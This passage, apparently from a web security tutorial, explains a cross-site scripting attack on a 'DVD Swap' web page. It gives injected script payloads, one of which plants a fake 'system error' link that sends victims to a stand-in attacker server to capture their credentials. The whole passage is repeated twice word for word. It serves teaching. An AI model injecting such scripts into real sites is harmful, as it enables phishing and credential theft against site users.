At which point they have given away their user name and password… So how does this work? Let’s break this down step by step. The first thing we look for is a <div> ID in the swap manager page that we might use for the attack. The design view is like so… We don’t need access to the source code; we simply view the HTML in the client browser… Examining the HTML we can see a nice ID that we can use for the attack… <div> ID “Panel1” will do nicely. So compared to the original attack rather than generating a simple alert we could try the following java script… <script> var myText=document.getElementById("Panel1"); myText.innerHTML = Date(); </script> Or in this more malicious example we could use the code to produce a hyperlink that re-directs data entry from one server to another (DVD Swap to MyEvilServer)… <script> var myText=document.getElementById("Panel1"); myText.innerHTML = "<a href= http://localhost:1891/Default.html>There was a system error please click here to fix it</a>"; </script> There are much more subtle and sophisticated versions of this kind of attack. It is one of the most commonly exploited vulnerabilities of web based systems.
At which point they have given away their user name and password… So how does this work? Let’s break this down step by step. The first thing we look for is a <div> ID in the swap manager page that we might use for the attack. The design view is like so… We don’t need access to the source code; we simply view the HTML in the client browser… Examining the HTML we can see a nice ID that we can use for the attack… <div> ID “Panel1” will do nicely. So compared to the original attack rather than generating a simple alert we could try the following java script… <script> var myText=document.getElementById("Panel1"); myText.innerHTML = Date(); </script> Or in this more malicious example we could use the code to produce a hyperlink that re-directs data entry from one server to another (DVD Swap to MyEvilServer)… <script> var myText=document.getElementById("Panel1"); myText.innerHTML = "<a href= http://localhost:1891/Default.html>There was a system error please click here to fix it</a>"; </script> There are much more subtle and sophisticated versions of this kind of attack. It is one of the most commonly exploited vulnerabilities of web based systems.